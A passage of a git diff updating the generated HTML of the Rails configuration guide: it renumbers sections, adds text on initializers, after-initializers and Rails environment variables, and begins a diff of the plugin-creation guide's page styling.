-<div class="para"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling <tt>logger</tt> on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.</p></div>
-<div class="para"><p><tt>primary_key_prefix_type</tt> lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named <tt>id</tt> (and this configuration option doesn't need to be set.) There are two other choices:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The <tt>environment.rb</tt> and environment-specific configuration files (such as <tt>config/environments/production.rb</tt>) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 <tt>environment.rb</tt> file includes one setting:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>time_zone <span style="color: #990000">=</span> <span style="color: #FF0000">'UTC'</span></tt></pre></div></div>
+<div class="paragraph"><p>This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same <tt>config</tt> object:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>active_record<span style="color: #990000">.</span>colorize_logging <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Rails will use that particular setting to configure Active Record.</p></div>
+<h3 id="_configuring_active_record">3.1. Configuring Active Record</h3>
+<div class="paragraph"><p><tt>ActiveRecord::Base</tt> includes a variety of configuration options:</p></div>
+<div class="paragraph"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling <tt>logger</tt> on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.</p></div>
+<div class="paragraph"><p><tt>primary_key_prefix_type</tt> lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named <tt>id</tt> (and this configuration option doesn&#8217;t need to be set.) There are two other choices:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>:table_name</tt> would make the primary key for the Customer class <tt>customerid</tt>
@@ -293,154 +166,187 @@ after-initializer</p></div>
</p>
</li>
</ul></div>
-<div class="para"><p><tt>table_name_prefix</tt> lets you set a global string to be prepended to table names. If you set this to <tt>northwest_</tt>, then the Customer class will look for <tt>northwest_customers</tt> as its table. The default is an empty string.</p></div>
-<div class="para"><p><tt>table_name_suffix</tt> lets you set a global string to be appended to table names. If you set this to <tt>_northwest</tt>, then the Customer class will look for <tt>customers_northwest</tt> as its table. The default is an empty string.</p></div>
-<div class="para"><p><tt>pluralize_table_names</tt> specifies whether Rails will look for singular or plural table names in the database. If set to <tt>true</tt> (the default), then the Customer class will use the <tt>customers</tt> table. If set to <tt>false</tt>, then the Customers class will use the <tt>customer</tt> table.</p></div>
-<div class="para"><p><tt>colorize_logging</tt> (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.</p></div>
-<div class="para"><p><tt>default_timezone</tt> determines whether to use <tt>Time.local</tt> (if set to <tt>:local</tt>) or <tt>Time.utc</tt> (if set to <tt>:utc</tt>) when pulling dates and times from the database. The default is <tt>:local</tt>.</p></div>
-<div class="para"><p><tt>schema_format</tt> controls the format for dumping the database schema to a file. The options are <tt>:ruby</tt> (the default) for a database-independent version that depends on migrations, or <tt>:sql</tt> for a set of (potentially database-dependent) SQL statements.</p></div>
-<div class="para"><p><tt>timestamped_migrations</tt> controls whether migrations are numbered with serial integers or with timestamps. The default is <tt>true</tt>, to use timestamps, which are preferred if there are multiple developers working on the same application.</p></div>
-<div class="para"><p><tt>lock_optimistically</tt> controls whether ActiveRecord will use optimistic locking. By default this is <tt>true</tt>.</p></div>
-<div class="para"><p>The MySQL adapter adds one additional configuration option:</p></div>
-<div class="para"><p><tt>ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans</tt> controls whether ActiveRecord will consider all <tt>tinyint(1)</tt> columns in a MySQL database to be booleans. By default this is <tt>true</tt>.</p></div>
-<div class="para"><p>The schema dumper adds one additional configuration option:</p></div>
-<div class="para"><p><tt>ActiveRecord::SchemaDumper.ignore_tables</tt> accepts an array of tables that should <em>not</em> be included in any generated schema file. This setting is ignored unless <tt>ActiveRecord::Base.schema_format == :ruby</tt>.</p></div>
-<h3 id="_configuring_action_controller">4.2. Configuring Action Controller</h3>
-<div class="para"><p>ActionController::Base includes a number of configuration settings:</p></div>
-<div class="para"><p><tt>asset_host</tt> provides a string that is prepended to all of the URL-generating helpers in <tt>AssetHelper</tt>. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.</p></div>
-<div class="para"><p><tt>consider_all_requests_local</tt> is generally set to <tt>true</tt> during development and <tt>false</tt> during production; if it is set to <tt>true</tt>, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to <tt>false</tt> and implement <tt>local_request?</tt> to specify which requests should provide debugging information on errors.</p></div>
-<div class="para"><p><tt>allow_concurrency</tt> should be set to <tt>true</tt> to allow concurrent (threadsafe) action processing. Set to <tt>false</tt> by default.</p></div>
-<div class="para"><p><tt>param_parsers</tt> provides an array of handlers that can extract information from incoming HTTP requests and add it to the <tt>params</tt> hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.</p></div>
-<div class="para"><p><tt>default_charset</tt> specifies the default character set for all renders. The default is "utf-8".</p></div>
-<div class="para"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.</p></div>
-<div class="para"><p><tt>resource_action_separator</tt> gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".</p></div>
-<div class="para"><p><tt>resource_path_names</tt> is a hash of default names for several RESTful actions. By default, the new action is named <tt>new</tt> and the edit action is named <tt>edit</tt>.</p></div>
-<div class="para"><p><tt>request_forgery_protection_token</tt> sets the token parameter name for RequestForgery. Calling <tt>protect_from_forgery</tt> sets it to <tt>:authenticity_token</tt> by default.</p></div>
-<div class="para"><p><tt>optimise_named_routes</tt> turns on some optimizations in generating the routing table. It is set to <tt>true</tt> by default.</p></div>
-<div class="para"><p><tt>use_accept_header</tt> sets the rules for determining the response format. If this is set to <tt>true</tt> (the default) then <tt>respond_to</tt> and <tt>Request#format</tt> will take the Accept header into account. If it is set to false then the request format will be determined solely by examining <tt>params[:format]</tt>. If there is no <tt>format</tt> parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.</p></div>
-<div class="para"><p><tt>allow_forgery_protection</tt> enables or disables CSRF protection. By default this is <tt>false</tt> in test mode and <tt>true</tt> in all other modes.</p></div>
-<div class="para"><p><tt>relative_url_root</tt> can be used to tell Rails that you are deploying to a subdirectory. The default is <tt>ENV[<em>RAILS_RELATIVE_URL_ROOT</em>]</tt>.</p></div>
-<div class="para"><p>The caching code adds two additional settings:</p></div>
-<div class="para"><p><tt>ActionController::Caching::Pages.page_cache_directory</tt> sets the directory where Rails will create cached pages for your web server. The default is <tt>Rails.public_path</tt> (which is usually set to <tt>RAILS_ROOT </tt> "/public"+).</p></div>
-<div class="para"><p><tt>ActionController::Caching::Pages.page_cache_extension</tt> sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is <tt>.html</tt>.</p></div>
-<div class="para"><p>The dispatcher includes one setting:</p></div>
-<div class="para"><p><tt>ActionController::Dispatcher.error_file_path</tt> gives the path where Rails will look for error files such as <tt>404.html</tt>. The default is <tt>Rails.public_path</tt>.</p></div>
-<div class="para"><p>The Active Record session store can also be configured:</p></div>
-<div class="para"><p><tt>CGI::Session::ActiveRecordStore::Session.data_column_name</tt> sets the name of the column to use to store session data. By default it is <em>data</em></p></div>
-<h3 id="_configuring_action_view">4.3. Configuring Action View</h3>
-<div class="para"><p>There are only a few configuration options for Action View, starting with four on <tt>ActionView::Base</tt>:</p></div>
-<div class="para"><p><tt>debug_rjs</tt> specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is <tt>false</tt>.</p></div>
-<div class="para"><p><tt>warn_cache_misses</tt> tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is <tt>false</tt>.</p></div>
-<div class="para"><p></p></div>
-<div class="para"><p><tt>default_form_builder</tt> tells Rails which form builder to use by default. The default is <tt>ActionView::Helpers::FormBuilder</tt>.</p></div>
-<div class="para"><p>The ERB template handler supplies one additional option:</p></div>
-<div class="para"><p><tt>ActionView::TemplateHandlers::ERB.erb_trim_mode</tt> gives the trim mode to be used by ERB. It defaults to <tt><em>-</em></tt>. See the <a href="http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/">ERB documentation</a> for more information.</p></div>
-<h3 id="_configuring_action_mailer">4.4. Configuring Action Mailer</h3>
-<div class="para"><p>There are a number of settings available on <tt>ActionMailer::Base</tt>:</p></div>
-<div class="para"><p><tt>template_root</tt> gives the root folder for Action Mailer templates.</p></div>
-<div class="para"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.</p></div>
-<div class="para"><p><tt>smtp_settings</tt> allows detailed configuration for the <tt>:smtp</tt> delivery method. It accepts a hash of options, which can include any of these options:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><tt>table_name_prefix</tt> lets you set a global string to be prepended to table names. If you set this to <tt>northwest_</tt>, then the Customer class will look for <tt>northwest_customers</tt> as its table. The default is an empty string.</p></div>
+<div class="paragraph"><p><tt>table_name_suffix</tt> lets you set a global string to be appended to table names. If you set this to <tt>_northwest</tt>, then the Customer class will look for <tt>customers_northwest</tt> as its table. The default is an empty string.</p></div>
+<div class="paragraph"><p><tt>pluralize_table_names</tt> specifies whether Rails will look for singular or plural table names in the database. If set to <tt>true</tt> (the default), then the Customer class will use the <tt>customers</tt> table. If set to <tt>false</tt>, then the Customers class will use the <tt>customer</tt> table.</p></div>
+<div class="paragraph"><p><tt>colorize_logging</tt> (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.</p></div>
+<div class="paragraph"><p><tt>default_timezone</tt> determines whether to use <tt>Time.local</tt> (if set to <tt>:local</tt>) or <tt>Time.utc</tt> (if set to <tt>:utc</tt>) when pulling dates and times from the database. The default is <tt>:local</tt>.</p></div>
+<div class="paragraph"><p><tt>schema_format</tt> controls the format for dumping the database schema to a file. The options are <tt>:ruby</tt> (the default) for a database-independent version that depends on migrations, or <tt>:sql</tt> for a set of (potentially database-dependent) SQL statements.</p></div>
+<div class="paragraph"><p><tt>timestamped_migrations</tt> controls whether migrations are numbered with serial integers or with timestamps. The default is <tt>true</tt>, to use timestamps, which are preferred if there are multiple developers working on the same application.</p></div>
+<div class="paragraph"><p><tt>lock_optimistically</tt> controls whether ActiveRecord will use optimistic locking. By default this is <tt>true</tt>.</p></div>
+<div class="paragraph"><p>The MySQL adapter adds one additional configuration option:</p></div>
+<div class="paragraph"><p><tt>ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans</tt> controls whether ActiveRecord will consider all <tt>tinyint(1)</tt> columns in a MySQL database to be booleans. By default this is <tt>true</tt>.</p></div>
+<div class="paragraph"><p>The schema dumper adds one additional configuration option:</p></div>
+<div class="paragraph"><p><tt>ActiveRecord::SchemaDumper.ignore_tables</tt> accepts an array of tables that should <em>not</em> be included in any generated schema file. This setting is ignored unless <tt>ActiveRecord::Base.schema_format == :ruby</tt>.</p></div>
+<h3 id="_configuring_action_controller">3.2. Configuring Action Controller</h3>
+<div class="paragraph"><p>ActionController::Base includes a number of configuration settings:</p></div>
+<div class="paragraph"><p><tt>asset_host</tt> provides a string that is prepended to all of the URL-generating helpers in <tt>AssetHelper</tt>. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.</p></div>
+<div class="paragraph"><p><tt>consider_all_requests_local</tt> is generally set to <tt>true</tt> during development and <tt>false</tt> during production; if it is set to <tt>true</tt>, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to <tt>false</tt> and implement <tt>local_request?</tt> to specify which requests should provide debugging information on errors.</p></div>
+<div class="paragraph"><p><tt>allow_concurrency</tt> should be set to <tt>true</tt> to allow concurrent (threadsafe) action processing. Set to <tt>false</tt> by default.</p></div>
+<div class="paragraph"><p><tt>param_parsers</tt> provides an array of handlers that can extract information from incoming HTTP requests and add it to the <tt>params</tt> hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.</p></div>
+<div class="paragraph"><p><tt>default_charset</tt> specifies the default character set for all renders. The default is "utf-8".</p></div>
+<div class="paragraph"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.</p></div>
+<div class="paragraph"><p><tt>resource_action_separator</tt> gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".</p></div>
+<div class="paragraph"><p><tt>resource_path_names</tt> is a hash of default names for several RESTful actions. By default, the new action is named <tt>new</tt> and the edit action is named <tt>edit</tt>.</p></div>
+<div class="paragraph"><p><tt>request_forgery_protection_token</tt> sets the token parameter name for RequestForgery. Calling <tt>protect_from_forgery</tt> sets it to <tt>:authenticity_token</tt> by default.</p></div>
+<div class="paragraph"><p><tt>optimise_named_routes</tt> turns on some optimizations in generating the routing table. It is set to <tt>true</tt> by default.</p></div>
+<div class="paragraph"><p><tt>use_accept_header</tt> sets the rules for determining the response format. If this is set to <tt>true</tt> (the default) then <tt>respond_to</tt> and <tt>Request#format</tt> will take the Accept header into account. If it is set to false then the request format will be determined solely by examining <tt>params[:format]</tt>. If there is no <tt>format</tt> parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.</p></div>
+<div class="paragraph"><p><tt>allow_forgery_protection</tt> enables or disables CSRF protection. By default this is <tt>false</tt> in test mode and <tt>true</tt> in all other modes.</p></div>
+<div class="paragraph"><p><tt>relative_url_root</tt> can be used to tell Rails that you are deploying to a subdirectory. The default is <tt>ENV[<em>RAILS_RELATIVE_URL_ROOT</em>]</tt>.</p></div>
+<div class="paragraph"><p>The caching code adds two additional settings:</p></div>
+<div class="paragraph"><p><tt>ActionController::Caching::Pages.page_cache_directory</tt> sets the directory where Rails will create cached pages for your web server. The default is <tt>Rails.public_path</tt> (which is usually set to <tt>RAILS_ROOT + "/public"</tt>).</p></div>
+<div class="paragraph"><p><tt>ActionController::Caching::Pages.page_cache_extension</tt> sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is <tt>.html</tt>.</p></div>
+<div class="paragraph"><p>The dispatcher includes one setting:</p></div>
+<div class="paragraph"><p><tt>ActionController::Dispatcher.error_file_path</tt> gives the path where Rails will look for error files such as <tt>404.html</tt>. The default is <tt>Rails.public_path</tt>.</p></div>
+<div class="paragraph"><p>The Active Record session store can also be configured:</p></div>
+<div class="paragraph"><p><tt>CGI::Session::ActiveRecordStore::Session.data_column_name</tt> sets the name of the column to use to store session data. By default it is <em>data</em></p></div>
+<h3 id="_configuring_action_view">3.3. Configuring Action View</h3>
+<div class="paragraph"><p>There are only a few configuration options for Action View, starting with four on <tt>ActionView::Base</tt>:</p></div>
+<div class="paragraph"><p><tt>debug_rjs</tt> specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is <tt>false</tt>.</p></div>
+<div class="paragraph"><p><tt>warn_cache_misses</tt> tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is <tt>false</tt>.</p></div>
+<div class="paragraph"><p></p></div>
+<div class="paragraph"><p><tt>default_form_builder</tt> tells Rails which form builder to use by default. The default is <tt>ActionView::Helpers::FormBuilder</tt>.</p></div>
+<div class="paragraph"><p>The ERB template handler supplies one additional option:</p></div>
+<div class="paragraph"><p><tt>ActionView::TemplateHandlers::ERB.erb_trim_mode</tt> gives the trim mode to be used by ERB. It defaults to <tt><em>-</em></tt>. See the <a href="http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/">ERB documentation</a> for more information.</p></div>
+<h3 id="_configuring_action_mailer">3.4. Configuring Action Mailer</h3>
+<div class="paragraph"><p>There are a number of settings available on <tt>ActionMailer::Base</tt>:</p></div>
+<div class="paragraph"><p><tt>template_root</tt> gives the root folder for Action Mailer templates.</p></div>
+<div class="paragraph"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.</p></div>
+<div class="paragraph"><p><tt>smtp_settings</tt> allows detailed configuration for the <tt>:smtp</tt> delivery method. It accepts a hash of options, which can include any of these options:</p></div>
+<div class="ulist"><ul>
<li>
<p>
-&lt;tt&gt;:address&lt;/tt&gt; - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+<tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
</p>
</li>
<li>
<p>
-&lt;tt&gt;:port&lt;/tt&gt; - On the off chance that your mail server doesn't run on port 25, you can change it.
+<tt>:port</tt> - On the off chance that your mail server doesn&#8217;t run on port 25, you can change it.
</p>
</li>
<li>
<p>
-&lt;tt&gt;:domain&lt;/tt&gt; - If you need to specify a HELO domain, you can do it here.
+<tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.
</p>
</li>
<li>
<p>
-&lt;tt&gt;:user_name&lt;/tt&gt; - If your mail server requires authentication, set the username in this setting.
+<tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.
</p>
</li>
<li>
<p>
-&lt;tt&gt;:password&lt;/tt&gt; - If your mail server requires authentication, set the password in this setting.
+<tt>:password</tt> - If your mail server requires authentication, set the password in this setting.
</p>
</li>
<li>
<p>
-&lt;tt&gt;:authentication&lt;/tt&gt; - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of &lt;tt&gt;:plain&lt;/tt&gt;, &lt;tt&gt;:login&lt;/tt&gt;, &lt;tt&gt;:cram_md5&lt;/tt&gt;.
+<tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.
</p>
</li>
</ul></div>
-<div class="para"><p><tt>sendmail_settings</tt> allows detailed configuration for the <tt>sendmail</tt> delivery method. It accepts a hash of options, which can include any of these options:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><tt>sendmail_settings</tt> allows detailed configuration for the <tt>sendmail</tt> delivery method. It accepts a hash of options, which can include any of these options:</p></div>
+<div class="ulist"><ul>
<li>
<p>
-&lt;tt&gt;:location&lt;/tt&gt; - The location of the sendmail executable. Defaults to &lt;tt&gt;/usr/sbin/sendmail&lt;/tt&gt;.
+<tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
</p>
</li>
<li>
<p>
-&lt;tt&gt;:arguments&lt;/tt&gt; - The command line arguments. Defaults to &lt;tt&gt;-i -t&lt;/tt&gt;.
+<tt>:arguments</tt> - The command line arguments. Defaults to <tt>-i -t</tt>.
</p>
</li>
</ul></div>
-<div class="para"><p><tt>raise_delivery_errors</tt> specifies whether to raise an error if email delivery cannot be completed. It defaults to <tt>true</tt>.</p></div>
-<div class="para"><p><tt>delivery_method</tt> defines the delivery method. The allowed values are &lt;tt&gt;:smtp&lt;/tt&gt; (default), &lt;tt&gt;:sendmail&lt;/tt&gt;, and &lt;tt&gt;:test&lt;/tt&gt;.</p></div>
-<div class="para"><p><tt>perform_deliveries</tt> specifies whether mail will actually be delivered. By default this is <tt>true</tt>; it can be convenient to set it to <tt>false</tt> for testing.</p></div>
-<div class="para"><p><tt>default_charset</tt> tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to <tt>utf-8</tt>.</p></div>
-<div class="para"><p><tt>default_content_type</tt> specifies the default content type used for the main part of the message. It defaults to "text/plain"</p></div>
-<div class="para"><p><tt>default_mime_version</tt> is the default MIME version for the message. It defaults to <tt>1.0</tt>.</p></div>
-<div class="para"><p><tt>default_implicit_parts_order</tt> - When a message is built implicitly (i.e. multiple parts are assembled from templates
+<div class="paragraph"><p><tt>raise_delivery_errors</tt> specifies whether to raise an error if email delivery cannot be completed. It defaults to <tt>true</tt>.</p></div>
+<div class="paragraph"><p><tt>delivery_method</tt> defines the delivery method. The allowed values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, and <tt>:test</tt>.</p></div>
+<div class="paragraph"><p><tt>perform_deliveries</tt> specifies whether mail will actually be delivered. By default this is <tt>true</tt>; it can be convenient to set it to <tt>false</tt> for testing.</p></div>
+<div class="paragraph"><p><tt>default_charset</tt> tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to <tt>utf-8</tt>.</p></div>
+<div class="paragraph"><p><tt>default_content_type</tt> specifies the default content type used for the main part of the message. It defaults to "text/plain"</p></div>
+<div class="paragraph"><p><tt>default_mime_version</tt> is the default MIME version for the message. It defaults to <tt>1.0</tt>.</p></div>
+<div class="paragraph"><p><tt>default_implicit_parts_order</tt> - When a message is built implicitly (i.e. multiple parts are assembled from templates
which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to
-&lt;tt&gt;["text/html", "text/enriched", "text/plain"]&lt;/tt&gt;. Items that appear first in the array have higher priority in the mail client
+<tt>["text/html", "text/enriched", "text/plain"]</tt>. Items that appear first in the array have higher priority in the mail client
and appear last in the mime encoded message.</p></div>
-<h3 id="_configuring_active_resource">4.5. Configuring Active Resource</h3>
-<div class="para"><p>There is a single configuration setting available on <tt>ActiveResource::Base</tt>:</p></div>
-<div class="para"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.</p></div>
-<h3 id="_configuring_active_support">4.6. Configuring Active Support</h3>
-<div class="para"><p>There are a few configuration options available in Active Support:</p></div>
-<div class="para"><p><tt>ActiveSupport::BufferedLogger.silencer</tt> is set to <tt>false</tt> to disable the ability to silence logging in a block. The default is <tt>true</tt>.</p></div>
-<div class="para"><p><tt>ActiveSupport::Cache::Store.logger</tt> specifies the logger to use within cache store operations.</p></div>
-<div class="para"><p><tt>ActiveSupport::Logger.silencer</tt> is set to <tt>false</tt> to disable the ability to silence logging in a block. The default is <tt>true</tt>.</p></div>
-<h3 id="_configuring_active_model">4.7. Configuring Active Model</h3>
-<div class="para"><p>Active Model currently has a single configuration setting:</p></div>
-<div class="para"><p>+ActiveModel::Errors.default_error_messages is an array containing all of the validation error messages.</p></div>
+<h3 id="_configuring_active_resource">3.5. Configuring Active Resource</h3>
+<div class="paragraph"><p>There is a single configuration setting available on <tt>ActiveResource::Base</tt>:</p></div>
+<div class="paragraph"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.</p></div>
+<h3 id="_configuring_active_support">3.6. Configuring Active Support</h3>
+<div class="paragraph"><p>There are a few configuration options available in Active Support:</p></div>
+<div class="paragraph"><p><tt>ActiveSupport::BufferedLogger.silencer</tt> is set to <tt>false</tt> to disable the ability to silence logging in a block. The default is <tt>true</tt>.</p></div>
+<div class="paragraph"><p><tt>ActiveSupport::Cache::Store.logger</tt> specifies the logger to use within cache store operations.</p></div>
+<div class="paragraph"><p><tt>ActiveSupport::Logger.silencer</tt> is set to <tt>false</tt> to disable the ability to silence logging in a block. The default is <tt>true</tt>.</p></div>
+<h3 id="_configuring_active_model">3.7. Configuring Active Model</h3>
+<div class="paragraph"><p>Active Model currently has a single configuration setting:</p></div>
+<div class="paragraph"><p><tt>ActiveModel::Errors.default_error_messages</tt> is an array containing all of the validation error messages.</p></div>
</div>
-<h2 id="_using_initializers">5. Using Initializers</h2>
+<h2 id="_using_initializers">4. Using Initializers</h2>
<div class="sectionbody">
-<div class="literalblock">
-<div class="content">
-<pre><tt>organization, controlling load order</tt></pre>
-</div></div>
+<div class="paragraph"><p>After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under <tt>/config/initializers</tt> in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the <tt>initializers</tt> folder on down.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you have any ordering dependency in your initializers, you can control the load order by naming. For example, <tt>01_critical.rb</tt> will be loaded before <tt>02_normal.rb</tt>.</td>
+</tr></table>
</div>
-<h2 id="_using_an_after_initializer">6. Using an After-Initializer</h2>
+</div>
+<h2 id="_using_an_after_initializer">5. Using an After-Initializer</h2>
<div class="sectionbody">
+<div class="paragraph"><p>After-initializers are run (as you might guess) after any initializers are loaded. You can supply an <tt>after_initialize</tt> block (or an array of such blocks) by setting up <tt>config.after_initialize</tt> in any of the Rails configuration files:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>after_initialize <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ SomeClass<span style="color: #990000">.</span>init
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Some parts of your application, notably observers and routing, are not yet set up at the point where the <tt>after_initialize</tt> block is called.</td>
+</tr></table>
+</div>
</div>
-<h2 id="_rails_environment_settings">7. Rails Environment Settings</h2>
+<h2 id="_rails_environment_settings">6. Rails Environment Settings</h2>
<div class="sectionbody">
-<div class="para"><p>ENV</p></div>
+<div class="paragraph"><p>Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:</p></div>
+<div class="paragraph"><p><tt>ENV[<em>RAILS_ENV</em>]</tt> defines the Rails environment (production, development, test, and so on) that Rails will run under.</p></div>
+<div class="paragraph"><p><tt>ENV[<em>RAILS_RELATIVE_URL_ROOT</em>]</tt> is used by the routing code to recognize URLs when you deploy your application to a subdirectory.</p></div>
+<div class="paragraph"><p><tt>ENV["RAILS_ASSET_ID"]</tt> will override the default cache-busting timestamps that Rails generates for downloadable assets.</p></div>
+<div class="paragraph"><p><tt>ENV["RAILS_CACHE_ID"]</tt> and <tt>ENV["RAILS_APP_VERSION"]</tt> are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.</p></div>
+<div class="paragraph"><p><tt>ENV[<em>RAILS_GEM_VERSION</em>]</tt> defines the version of the Rails gems to use, if <tt>RAILS_GEM_VERSION</tt> is not defined in your <tt>environment.rb</tt> file.</p></div>
</div>
-<h2 id="_changelog">8. Changelog</h2>
+<h2 id="_changelog">7. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
<li>
<p>
-November 5, 2008: Rough outline by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+January 3, 2009: First reasonably complete draft by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
</p>
-<div class="qlist"><ol>
-<li>
-<p><em>
-need to look for def self. ?
-</em></p>
</li>
-</ol></div>
+<li>
+<p>
+November 5, 2008: Rough outline by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
</li>
</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/creating_plugins.html b/railties/doc/guides/html/creating_plugins.html
index 850822c8ed..3347f77228 100644
--- a/railties/doc/guides/html/creating_plugins.html
+++ b/railties/doc/guides/html/creating_plugins.html
@@ -1,310 +1,142 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>The Basics of Creating Rails Plugins</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
